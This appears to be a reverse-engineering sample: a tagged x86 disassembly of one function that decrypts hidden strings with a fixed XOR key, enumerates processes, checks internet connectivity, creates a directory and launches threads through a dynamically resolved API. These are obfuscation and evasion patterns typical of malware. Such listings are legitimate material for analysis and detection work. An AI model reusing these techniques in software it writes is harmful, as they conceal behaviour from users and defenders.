Function at 0x410b30
Capabilities:
Check internet connectivity via wininet
Create directory
Enumerate processes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x558
mov eax, dword [0x58f140]
xor eax, esp
mov dword [esp + 0x554], eax
mov dword [esp + 8], 0
xorps xmm0, xmm0
cmp dword [0x591bdc], 0
push esi
push edi
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
je 0x411975
cmp dword [0x591bcc], 0
je 0x411975
mov eax, dword fs:[0x2c]
mov dword [esp + 0x38], 0xb7c8de8b
mov dword [esp + 0x3c], 0x9523d4d1
mov word [esp + 0x40], 0xda97
mov edi, dword [eax]
mov eax, dword [0x5922c8]
mov byte [esp + 0x42], 0xad
mov dword [esp + 0x1c], edi
cmp eax, dword [edi + 4]
jle 0x410c21
push 0x5922c8
call fcn.0052e541
add esp, 4
cmp dword [0x5922c8], 0xffffffff
jne 0x410c21
xorps xmm0, xmm0
mov byte [0x5922b3], 1
movlpd qword [esp + 0x10], xmm0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
nop dword [eax]
mov al, byte [esp + ecx + 0x38]
mov byte [ecx + 0x5922a8], al
add ecx, 1
adc edx, 0
jne 0x410c07
cmp ecx, 0xb
jb 0x410bf0
push 0x55e490
call fcn.0052e4d6
add esp, 4
push 0x5922c8
call fcn.0052e4f0
add esp, 4
mov ecx, 0x5922a8
call fcn.004125f0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x128], 0x128
lea eax, [esp + 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x410c9f
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop dword [eax + eax]
call edi
cmp dword [esp + 0x130], eax
je 0x410c88
lea eax, [esp + 0x14c]
push 0x5922a8
push eax
call fcn.0053dd27
add esp, 8
test eax, eax
je 0x411975
lea eax, [esp + 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x410c60
mov edi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [eax + eax]
movaps xmm0, xmmword [0x585c10]
mov eax, dword [0x5923b8]
movups xmmword [esp + 0x78], xmm0
mov word [esp + 0x88], 0xd280
mov byte [esp + 0x8a], 0xad
cmp eax, dword [edi + 4]
jle 0x410d41
push 0x5923b8
call fcn.0052e541
add esp, 4
cmp dword [0x5923b8], 0xffffffff
jne 0x410d41
xorps xmm0, xmm0
mov byte [0x59203f], 1
movlpd qword [esp + 0x48], xmm0
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x48]
nop dword [eax]
mov al, byte [esp + ecx + 0x78]
mov byte [ecx + 0x59202c], al
add ecx, 1
adc edx, 0
jne 0x410d27
cmp ecx, 0x13
jb 0x410d10
push 0x55e450
call fcn.0052e4d6
add esp, 4
push 0x5923b8
call fcn.0052e4f0
add esp, 4
cmp byte [0x59203f], 0
je 0x410d95
xorps xmm0, xmm0
movlpd qword [esp + 0x48], xmm0
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x48]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x59202c], al
add esi, 1
adc edi, 0
jne 0x410d8a
cmp esi, 0x13
jb 0x410d60
mov edi, dword [esp + 0x1c]
mov byte [0x59203f], 0
push 0
push 1
push 0x59202c
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x410e0a
lea eax, [esp + 0x38]
push eax
call fcn.0040bc00
mov ecx, dword [esp + 0x40]
add esp, 4
cmp ecx, 0x7fffffff
jg 0x410dec
mov eax, dword [esp + 0x38]
jl 0x410dce
cmp eax, 0xc46535ff
jae 0x410dec
add eax, 0x3b9aca00
mov dword [esp + 0x10], eax
adc ecx, 0
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x10]
call fcn.00413c00
jmp 0x410cb0
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], SysReAllocString
call fcn.00413c00
jmp 0x410cb0
mov eax, dword [0x591e80]
mov dword [esp + 0x48], 0xbfd9d1a6
mov dword [esp + 0x4c], 0xb4459ad2
mov byte [esp + 0x50], 0xef
cmp eax, dword [edi + 4]
jle 0x410e91
push 0x591e80
call fcn.0052e541
add esp, 4
cmp dword [0x591e80], 0xffffffff
jne 0x410e91
xorps xmm0, xmm0
mov byte [0x59230d], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
nop word [eax + eax]
mov al, byte [esp + ecx + 0x48]
mov byte [ecx + 0x592304], al
add ecx, 1
adc edx, 0
jne 0x410e77
cmp ecx, 9
jb 0x410e60
push 0x55e410
call fcn.0052e4d6
add esp, 4
push 0x591e80
call fcn.0052e4f0
add esp, 4
cmp byte [0x59230d], 0
je 0x410ee5
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x592304], al
add esi, 1
adc edi, 0
jne 0x410eda
cmp esi, 9
jb 0x410eb0
mov edi, dword [esp + 0x1c]
mov byte [0x59230d], 0
mov ecx, 0x592304
mov dword [esp + 0xe0], 0
xorps xmm0, xmm0
mov dword [esp + 0xe4], 0
movaps xmmword [esp + 0xd0], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f10
sub ecx, edx
push ecx
push 0x592304
lea ecx, [esp + 0xd8]
call fcn.0040a750
lea ecx, [esp + 0x58]
call fcn.0041c170
cmp dword [esp + 0xe4], 0xf
lea esi, [esp + 0xd0]
mov ecx, eax
cmova esi, dword [esp + 0xd0]
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x410f58
mov ecx, dword [ecx]
push dword [esp + 0xe0]
mov eax, 3
push esi
push ecx
mov dword [esp + 0x1c], eax
call fcn.00413000
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41128f
movaps xmm0, xmmword [0x585b40]
mov eax, dword [0x592090]
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0xa9ced687
mov byte [esp + 0x8c], 0xbe
cmp eax, dword [edi + 4]
jle 0x411011
push 0x592090
call fcn.0052e541
add esp, 4
cmp dword [0x592090], 0xffffffff
jne 0x411011
xorps xmm0, xmm0
mov byte [0x591d51], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
nop word [eax + eax]
mov al, byte [esp + ecx + 0x78]
mov byte [ecx + 0x591d3c], al
add ecx, 1
adc edx, 0
jne 0x410ff7
cmp ecx, 0x15
jb 0x410fe0
push 0x55e3d0
call fcn.0052e4d6
add esp, 4
push 0x592090
call fcn.0052e4f0
add esp, 4
cmp byte [0x591d51], 0
je 0x411065
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x591d3c], al
add esi, 1
adc edi, 0
jne 0x41105a
cmp esi, 0x15
jb 0x411030
mov edi, dword [esp + 0x1c]
mov byte [0x591d51], 0
mov ecx, 0x591d3c
mov dword [esp + 0xa0], 0
xorps xmm0, xmm0
mov dword [esp + 0xa4], 0
movaps xmmword [esp + 0x90], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411090
sub ecx, edx
push ecx
push 0x591d3c
lea ecx, [esp + 0x98]
call fcn.0040a750
lea ecx, [esp + 0x110]
call fcn.0041c170
cmp dword [esp + 0xa4], 0xf
lea esi, [esp + 0x90]
mov ecx, eax
cmova esi, dword [esp + 0x90]
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x4110db
mov ecx, dword [ecx]
push dword [esp + 0xa0]
mov eax, 0xf
push esi
push ecx
mov dword [esp + 0x1c], eax
call fcn.00413000
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41128f
movaps xmm0, xmmword [0x585df0]
mov eax, dword [0x59205c]
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0xb3fb9fb9
mov dword [esp + 0x8c], 0xf062dfda
cmp eax, dword [edi + 4]
jle 0x411191
push 0x59205c
call fcn.0052e541
add esp, 4
cmp dword [0x59205c], 0xffffffff
jne 0x411191
xorps xmm0, xmm0
mov byte [0x5920d4], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
nop dword [eax + eax]
mov al, byte [esp + ecx + 0x78]
mov byte [ecx + 0x5920bc], al
add ecx, 1
adc edx, 0
jne 0x411177
cmp ecx, 0x18
jb 0x411160
push 0x55e390
call fcn.0052e4d6
add esp, 4
push 0x59205c
call fcn.0052e4f0
add esp, 4
cmp byte [0x5920d4], 0
je 0x4111e1
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x5920bc], al
add esi, 1
adc edi, 0
jne 0x4111da
cmp esi, 0x18
jb 0x4111b0
mov byte [0x5920d4], 0
mov ecx, 0x5920bc
mov dword [esp + 0xc0], 0
xorps xmm0, xmm0
mov dword [esp + 0xc4], 0
movaps xmmword [esp + 0xb0], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411210
sub ecx, edx
push ecx
push 0x5920bc
lea ecx, [esp + 0xb8]
call fcn.0040a750
lea ecx, [esp + 0xf8]
call fcn.0041c170
mov esi, dword [esp + 0xc4]
lea edi, [esp + 0xb0]
mov ecx, eax
cmp esi, 0xf
cmova edi, dword [esp + 0xb0]
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x41125d
mov ecx, dword [ecx]
push dword [esp + 0xc0]
mov eax, 0x3f
push edi
push ecx
mov dword [esp + 0x1c], eax
call fcn.00413000
mov edi, dword [esp + 0x9c]
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41129d
mov byte [esp + 0xf], 0
mov eax, 0x3f
jmp 0x4112ae
mov esi, dword [esp + 0xc4]
mov edi, dword [esp + 0x90]
mov eax, dword [esp + 0x10]
mov byte [esp + 0xf], 1
mov dword [esp + 0x10], eax
test al, 0x20
je 0x411313
mov ecx, dword [esp + 0x10c]
and eax, 0xffffffdf
mov dword [esp + 0x10], eax
cmp ecx, 0xf
jbe 0x4112f5
mov edx, dword [esp + 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4112e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119a4
push ecx
push edx
call fcn.0052e269
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esp + 0x108], 0
mov dword [esp + 0x10c], 0xf
mov byte [esp + 0xf8], 0
test al, 0x10
je 0x411359
and eax, 0xffffffef
mov dword [esp + 0x10], eax
cmp esi, 0xf
jbe 0x411359
mov edx, dword [esp + 0xb0]
lea ecx, [esi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x41134b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119a4
push ecx
push edx
call fcn.0052e269
mov eax, dword [esp + 0x18]
add esp, 8
test al, 8
je 0x4113bf
mov ecx, dword [esp + 0x124]
mov dword [esp + 0x10], eax
cmp ecx, 0xf
jbe 0x4113a1
mov edx, dword [esp + 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411393
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119a4
push ecx
push edx
call fcn.0052e269
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esp + 0x120], 0
mov dword [esp + 0x124], 0xf
mov byte [esp + 0x110], 0
test al, 4
je 0x4113fa
mov eax, dword [esp + 0xa4]
cmp eax, 0xf
jbe 0x4113fa
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x4113f0
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119a4
push ecx
push edi
call fcn.0052e269
add esp, 8
mov ecx, dword [esp + 0x6c]
cmp ecx, 0xf
jbe 0x411430
mov edx, dword [esp + 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411426
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119a4
push ecx
push edx
call fcn.0052e269
add esp, 8
mov eax, dword [esp + 0xe4]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0xf
mov byte [esp + 0x58], 0
cmp eax, 0xf
jbe 0x411483
mov edx, dword [esp + 0xd0]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x411479
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4119a4
push ecx
push edx
call fcn.0052e269
add esp, 8
cmp byte [esp + 0xf], 0
jne 0x411975
lea eax, [esp + 0x38]
push eax
call fcn.0040bc00
mov ecx, dword [esp + 0x40]
add esp, 4
cmp ecx, 0x7fffffba
jg 0x4114c6
mov eax, dword [esp + 0x38]
jl 0x4114b4
cmp eax, 0x269b47ff
jae 0x4114c6
add eax, 0xd964b800
mov dword [esp + 0x10], eax
adc ecx, 0x45
mov dword [esp + 0x14], ecx
jmp 0x4114d6
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], SysReAllocString
lea ecx, [esp + 0x10]
call fcn.00413c00
call fcn.0040ee40
test eax, eax
je 0x411975
call fcn.0040d810
test eax, eax
je 0x411975
sub esp, 0x18
lea eax, [esp + 0x38]
mov esi, esp
mov ecx, esi
push eax
call fcn.00411d40
lea eax, [esp + 0x44]
push eax
lea ecx, [esi + 0xc]
call fcn.0040a070
lea ecx, [esp + 0x370]
call fcn.0041e000
mov edx, esp
lea ecx, [esp + 0x370]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411543
sub ecx, esi
lea eax, [esp + 0x370]
push ecx
push eax
mov ecx, edx
call fcn.0040a750
call fcn.0041b230
mov esi, dword [esp + 0x1c]
mov eax, dword [0x592460]
mov dword [esp + 0x48], 0xbbced083
mov dword [esp + 0x4c], 0x807ddbd2
mov dword [esp + 0x50], 0xbbd9de8b
mov byte [esp + 0x54], 0xbe
cmp eax, dword [esi + 4]
jle 0x4115f1
push 0x592460
call fcn.0052e541
add esp, 4
cmp dword [0x592460], 0xffffffff
jne 0x4115f1
xorps xmm0, xmm0
mov byte [0x592479], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
nop dword [eax]
mov al, byte [esp + ecx + 0x48]
mov byte [ecx + 0x59246c], al
add ecx, 1
adc edx, 0
jne 0x4115d7
cmp ecx, 0xd
jb 0x4115c0
push 0x55e310
call fcn.0052e4d6
add esp, 4
push 0x592460
call fcn.0052e4f0
add esp, 4
mov ecx, 0x59246c
call fcn.00412590
push 0x59246c
call fcn.0053ce4c
movaps xmm0, xmmword [0x585d00]
add esp, 4
mov ecx, dword [0x591ef0]
mov dword [esp + 0x10], eax
movups xmmword [esp + 0x78], xmm0
mov word [esp + 0x88], 0xd49d
mov byte [esp + 0x8a], 0xad
cmp ecx, dword [esi + 4]
jle 0x4116a1
push 0x591ef0
call fcn.0052e541
add esp, 4
cmp dword [0x591ef0], 0xffffffff
jne 0x4116a1
xorps xmm0, xmm0
mov byte [0x592213], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
nop word [eax + eax]
mov al, byte [esp + ecx + 0x78]
mov byte [ecx + 0x592200], al
add ecx, 1
adc edx, 0
jne 0x411687
cmp ecx, 0x13
jb 0x411670
push 0x55e350
call fcn.0052e4d6
add esp, 4
push 0x591ef0
call fcn.0052e4f0
add esp, 4
cmp byte [0x592213], 0
je 0x4116f5
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x592200], al
add esi, 1
adc edi, 0
jne 0x4116ea
cmp esi, 0x13
jb 0x4116c0
mov esi, dword [esp + 0x1c]
mov byte [0x592213], 0
push dword [esp + 0x10]
lea eax, [esp + 0x254]
push 0x592200
push eax
call fcn.004037e0
add esp, 0xc
lea ecx, [esp + 0x250]
call fcn.0041d630
test eax, eax
jne 0x41172d
push eax
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movaps xmm0, xmmword [0x585cf0]
mov eax, dword [0x592358]
movups xmmword [esp + 0x58], xmm0
mov dword [esp + 0x68], 0xafdfd49d
mov dword [esp + 0x6c], 0x9d64ced0
mov dword [esp + 0x70], 0xa2c8918a
mov word [esp + 0x74], 0xbadb
cmp eax, dword [esi + 4]
jle 0x4117c4
push 0x592358
call fcn.0052e541
add esp, 4
cmp dword [0x592358], 0xffffffff
jne 0x4117c4
xorps xmm0, xmm0
mov byte [0x591cc2], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov al, byte [esp + ecx + 0x58]
mov byte [ecx + 0x591ca4], al
add ecx, 1
adc edx, 0
jne 0x4117aa
cmp ecx, 0x1e
jb 0x411793
push 0x55e2d0
call fcn.0052e4d6
add esp, 4
push 0x592358
call fcn.0052e4f0
add esp, 4
cmp byte [0x591cc2], 0
je 0x411815
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
nop
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x591ca4], al
add esi, 1
adc edi, 0
jne 0x41180a
cmp esi, 0x1e
jb 0x4117e0
mov esi, dword [esp + 0x1c]
mov byte [0x591cc2], 0
lea eax, [esp + 0x250]
push eax
push 0x591ca4
push eax
call fcn.004037e0
movaps xmm0, xmmword [0x585d90]
add esp, 0xc
mov eax, dword [0x591e3c]
movups xmmword [esp + 0x58], xmm0
mov dword [esp + 0x68], 0xea9591db
mov dword [esp + 0x6c], 0x8462de91
mov dword [esp + 0x70], 0xdad9da81
cmp eax, dword [esi + 4]
jle 0x4118c1
push 0x591e3c
call fcn.0052e541
add esp, 4
cmp dword [0x591e3c], 0xffffffff
jne 0x4118c1
xorps xmm0, xmm0
mov byte [0x5921fc], 1
movlpd qword [esp + 0x38], xmm0
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
nop word [eax + eax]
mov al, byte [esp + ecx + 0x58]
mov byte [ecx + 0x5921e0], al
add ecx, 1
adc edx, 0
jne 0x4118a7
cmp ecx, 0x1c
jb 0x411890
push 0x55e290
call fcn.0052e4d6
add esp, 4
push 0x591e3c
call fcn.0052e4f0
add esp, 4
cmp byte [0x5921fc], 0
je 0x411911
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xdaadbfef
and ecx, 7
mov edx, 0xf00dbabe
shl ecx, 3
call fcn.0052edc0
xor byte [esi + 0x5921e0], al
add esi, 1
adc edi, 0
jne 0x41190a
cmp esi, 0x1c
jb 0x4118e0
mov byte [0x5921fc], 0
mov edx, 0x5921e0
lea ecx, [esp + 0x250]
call fcn.0041d750
mov eax, dword [0x591bdc]
push 0
push 0
push 0
push 0x410610
push 0
push 0
call eax
mov ecx, dword [0x591bdc]
mov esi, eax
push 0
push 0
lea eax, [esp + 0x258]
push eax
push 0x410120
push 0
push 0
call ecx
mov edi, eax
test esi, esi
je 0x411975
test edi, edi
je 0x411975
push 0xffffffffffffffff
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call esi
push 0xffffffffffffffff
push edi
call esi
xor esi, esi
jmp 0x41197a
mov esi, 1
lea ecx, [esp + 0x2c]
call fcn.0040a420
lea ecx, [esp + 0x20]
call fcn.00412650
mov ecx, dword [esp + 0x55c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0052df19
mov esp, ebp
pop ebp
ret 0x10
call fcn.0053c9c9
int3